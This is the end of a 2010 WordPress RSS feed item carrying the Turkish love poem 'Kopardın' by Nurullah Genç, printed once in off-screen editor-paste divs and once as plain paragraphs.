			<content:encoded><![CDATA[<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Kopardın</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Bir hicran çölüne bıraktın beni</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Kalbine girdiğim yolu kopardın</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Yaydın üzerime yalan gölgeni</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Adını andığı dili kopardın</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">İçimden boşluğa savruldu külün</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Hüznün ateşiyle yandı kakülün</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Yıllardır ruhumda öten bülbülün</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Her seher konduğu dalı kopardın</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Uzattıkça sana boş ellerimi</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Birer birer yıktın hayallerimi</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Bilmem, ölü müyüm, yoksa diri mi</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Saçımdan sn siyah teli kopardın</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Gönlümde aşkınla hergün yeşeren</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Göğü yıldız yıldız önüme seren</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">O güzel, bembeyaz gülü kopardın</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Aynasında yalnız seni gösteren</div>
<div id="_mcePaste" style="position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;">Nurullah Genç</div>
<p><strong>Kopardın</strong></p>
<p>Bir hicran çölüne bıraktın beni<br />
Kalbine girdiğim yolu kopardın<br />
Yaydın üzerime yalan gölgeni<br />
Adını andığı dili kopardın</p>
<p>İçimden boşluğa savruldu külün<br />
Hüznün ateşiyle yandı kakülün<br />
Yıllardır ruhumda öten bülbülün<br />
Her seher konduğu dalı kopardın</p>
<p>Uzattıkça sana boş ellerimi<br />
Birer birer yıktın hayallerimi<br />
Bilmem, ölü müyüm, yoksa diri mi<br />
Saçımdan sn siyah teli kopardın</p>
<p>Gönlümde aşkınla hergün yeşeren<br />
Göğü yıldız yıldız önüme seren<br />
O güzel, bembeyaz gülü kopardın<br />
Aynasında yalnız seni gösteren</p>
<p><strong>Nurullah Genç</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.tunahan.net/2010/01/10/kopardin-nurullah-genc/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
